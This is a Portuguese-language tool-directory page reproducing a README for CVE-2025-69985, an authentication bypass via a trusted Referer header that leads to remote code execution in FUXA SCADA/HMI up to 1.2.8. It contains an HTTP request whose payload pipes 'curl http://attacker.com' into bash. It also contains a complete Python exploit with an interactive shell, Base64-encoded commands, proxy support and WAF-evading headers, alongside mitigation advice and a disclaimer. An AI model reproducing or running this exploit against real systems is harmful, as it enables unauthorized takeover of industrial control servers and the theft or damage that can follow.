Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69985 — Exploit PoC para CVE-2025-69985: bypass de autenticação que leva a RCE no FUXA SCADA ≤1.2.8. Inclui um exploit modular em Python com shell interativo, codificação de payload Base64 e suporte a proxy para testes de penetração. | Kitploit
Ferramentas/GitHubGitHub/kaleth4/cve-2025-69985
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoSegurança SCADA/ICSExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubkaleth4/cve-2025-69985

CVE-2025-69985

Exploit PoC para CVE-2025-69985: bypass de autenticação que leva a RCE no FUXA SCADA ≤1.2.8. Inclui um exploit modular em Python com shell interativo, codificação de payload Base64 e suporte a proxy para testes de penetração.

há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2025-69985: Exploit para Bypass de Autenticação a RCE no FUXA ≤1.2.8


📌 Descrição Geral

Este repositório contém uma Prova de Conceito (PoC) e documentação técnica detalhada sobre a vulnerabilidade CVE-2025-69985, que afeta o FUXA (versões ≤1.2.8). A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários no servidor (RCE) através de um bypass de autenticação no middleware da aplicação.

Ao contrário de vulnerabilidades tradicionais como estouros de memória no Windows, essa falha reside em uma fraqueza lógica no middleware, onde o servidor confunde requisições externas com internas devido a uma validação incorreta do cabeçalho Referer.


🚨 Resumo Técnico

CVECVE-2025-69985
TipoAuthentication Bypass via Alternate Path (CWE-288)
ImpactoRemote Code Execution (RCE)
Gravidade9.8 CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Versões AfetadasFUXA ≤ 1.2.8
PlataformaNode.js
ProdutoFUXA (SCADA/HMI baseado na web)

🔍 Análise do Vetor de Ataque

1️⃣ Autenticação Bypass (Auth Bypass)

O middleware do FUXA confia cegamente no cabeçalho Referer. Se um atacante enviar uma requisição com:

root@kitploit:~
Referer: http://<target-ip>/

O servidor assume que a requisição é interna e omite a verificação do token JWT, permitindo acesso a endpoints protegidos sem autenticação.


2️⃣ Execução de Código Remoto (RCE)

Uma vez contornada a autenticação, o atacante pode interagir com o endpoint /api/runscript, projetado para executar scripts Node.js. Ao enviar um payload JSON malicioso, obtém-se controle total sobre o processo do servidor.


🛠️ Prova de Conceito (PoC)

📌 Exemplo de Exploração (HTTP Request)

root@kitploit:~
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json

{
    "script": "require('child_process').exec('curl http://attacker.com | bash')",
    "parameters": {}
}

⚠️ Nota: Este exemplo é ilustrativo. Não execute em ambientes de produção sem autorização.


💻 Sistemas Afetados

ProdutoVersõesPlataforma
FUXA≤ 1.2.8Node.js

🛡️ Mitigação e Soluções

✅ Soluções Recomendadas

  1. Atualização Imediata Atualizar o FUXA para uma versão superior a 1.2.8 (patch oficial).

  2. Patch Manual Modificar server/api/jwt-helper.js para eliminar a confiança no cabeçalho Referer como método de autenticação.

  3. Implementação de WAF Configurar um Web Application Firewall para bloquear requisições ao endpoint /api/runscript que não provenham de redes administrativas conhecidas, independentemente do cabeçalho Referer.


⚠️ Aviso de Responsabilidade

🔴 Este material tem fins exclusivamente educacionais e de auditoria de segurança. 🔴 O uso destas técnicas contra sistemas sem autorização explícita é crime. 🔴 Os autores não se responsabilizam pelo mau uso desta informação.


📚 Referências

  • NVD NIST - CVE-2025-69985
  • FUXA GitHub Repository

🚀 Exploit "Pro" Refatorado (Python)

Recursos avançados que elevam este exploit a nível profissional (estilo Exploit-DB ou ferramentas de Red Team):

✨ Melhorias Principais

📄 Código do Exploit (fuxa-exploit.py)

root@kitploit:~
import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional

# Configuração estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Logger:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

    @staticmethod
    def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
    @staticmethod
    def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
    @staticmethod
    def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
    @staticmethod
    def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")

class FuxaExploit:
    def __init__(self, base_url: str, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Referer": f"{self.base_url}/fuxa"
        })

    def check_vulnerable(self) -> bool:
        """Verifica se o endpoint existe antes de atacar."""
        try:
            r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
            return r.status_code in [401, 405, 200] # Depende da config do WAF/App
        except Exception:
            return False

    def execute(self, command: str) -> str:
        # Payload aprimorado: Encoding em Base64 para evitar quebrar o JSON
        b64_cmd = base64.b64encode(command.encode()).decode()

        js_code = (
            f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
            "const r = require('child_process').execSync(c);"
            "return r.toString();"
        )

        payload = {
            "params": {
                "script": {
                    "id": "exp", "name": "exp",
                    "code": js_code, "test": js_code
                }
            }
        }

        try:
            r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
            return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
        except Exception as e:
            return f"Exception: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-c", "--cmd", help="Single command to execute")
    parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
    parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")

    args = parser.parse_args()
    exploit = FuxaExploit(args.url, args.proxy)

    Logger.info(f"Targeting: {args.url}")

    if args.interactive:
        Logger.success("Entering interactive mode. Type 'exit' to quit.")
        while True:
            try:
                cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
                if cmd.lower() in ['exit', 'quit']: break
                if not cmd: continue
                print(exploit.execute(cmd))
            except KeyboardInterrupt: break
    elif args.cmd:
        Logger.info(f"Executing: {args.cmd}")
        print(exploit.execute(args.cmd))
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

⚠️ Uso responsável: Execute apenas em ambientes controlados e com autorização expressa.


🎯 O que o torna "Pro"?

Baixar ferramenta
CaracterísticaDescrição
🔹 Manipulação Dinâmica de ShellModo --interactive (-i) que abre um REPL interativo para executar múltiplos comandos.
🔹 Detecção e FingerprintingVerifica se o endpoint /api/runscript existe antes de lançar o ataque (check_vulnerable()).
🔹 Payload AprimoradoComando codificado em Base64 para evitar problemas de escape de caracteres (&, >, ", etc.).
🔹 Robustez de RedeSuporte para User-Agent aleatórios e proxies (útil para Burp Suite ou debugging).
🔹 OOP (Programação Orientada a Objetos)Classe FuxaExploit modular, reutilizável e extensível.
CaracterísticaBenefício
🔹 OOPModularidade: A classe FuxaExploit pode ser importada em outros scripts ou ferramentas.
🔹 Base64 BypassEvita problemas de escape em comandos complexos (ex: &, >, ", etc.).
🔹 Pseudo-Shell (-i)Permite investigar o sistema interativamente sem reiniciar o script.
🔹 Suporte a ProxyÚtil para depurar o exploit usando ferramentas como Burp Suite ou mitmproxy.
🔹 Headers RealistasUser-Agent de navegador para evitar assinaturas básicas de WAFs.